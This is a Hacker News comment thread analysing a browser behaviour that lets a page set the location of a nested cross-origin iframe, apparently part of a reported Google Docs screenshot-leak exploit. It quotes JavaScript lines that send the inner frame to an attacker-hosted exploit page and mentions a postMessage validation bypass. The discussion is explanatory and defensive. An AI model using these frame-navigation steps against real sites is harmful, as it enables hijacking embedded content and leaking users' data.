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Comment by twiss | Hacker News Reader

The most surprising part to me is that this works:

    window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";

It's expected to me that you can change `window.frames[0].location`, since you can also change the "src" attribute of the iframe element. But you can't change the "src" attribute of an iframe inside that iframe, if it's not same-origin - so why can you change its location?

Maybe we should look into whether changing this would break any websites.

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Context: Changing location was a way of message passing (just change the hash) before `postMessage` was widely available. Also, sometimes you are managing a widget embedded in a page which is embedded in your application.

That said, this is one of those things that might be best relegated to the "Phase 0" APIs now that there is a better way to do things (e. g. postMessage).

I find it insane that people want to use apps built off this creaky technology.

You find it insane that the general public isn't concerned with (and/or doesn't understand) highly technical implementation details?

I see, thanks for the context. Perhaps, if changing the hash is the primary use-case, we could allow only that (in the `location` setter). Alternatively - browsers have been breaking various things in iframes recently (by e.g. isolating cookies), maybe breaking this as well would be acceptable if it's not commonly used..

It was also a way to do what XMLHttpRequest does before it existed.

docs.google.com didn't have X-Frame-Options: DENY nor a restrictive CSP so I think its a browser quirk (rather, a clever bypass) that works here. Also, the author had exploited a postMessage flaw which wasn't validating the host name properly that led to the cross-origin leak of screenshot data

Check this out https://youtu.be/KpkrTUHoWsQ (video about URL validation bypass and SOP)

The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work:

    document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html";

For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works:

    window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";

For legacy reasons the location object is special (you can write to it which is a proxy to writing to `location.href`). Some details here https://developer.mozilla.org/en-US/docs/Web/Security/Same-o...

This is actually quite difficult to protect against while keeping functionality intact (not granting allow-scripts to iframes would do it, but also obviously disable JavaScript).

The emerging https://github.com/dtapuska/documentaccess standard would be a defense-in-depth against this attack.

Myeah. I was aware that `WindowProxy.location` exists, but not that `WindowProxy.frames` exists. To me, that's the more surprising part - as `window.frames[0].location` should indeed be writable, but I feel like accessing `window.frames[0].frames` is more debatable - even knowing the number of iframes in a page might leak information in certain cases.

I agree this, seems wrong. Does it work in all browsers?

It seems there's a typo in the quote, but the following indeed works in both Chrome and Firefox:

    window.frames[0].frames[2].location = "https://example.com";

Even if `window.frames[0]` is cross-origin.

This behavior is defined in the HTML spec, here:

https://html.spec.whatwg.org/multipage/browsers.html#crossor...

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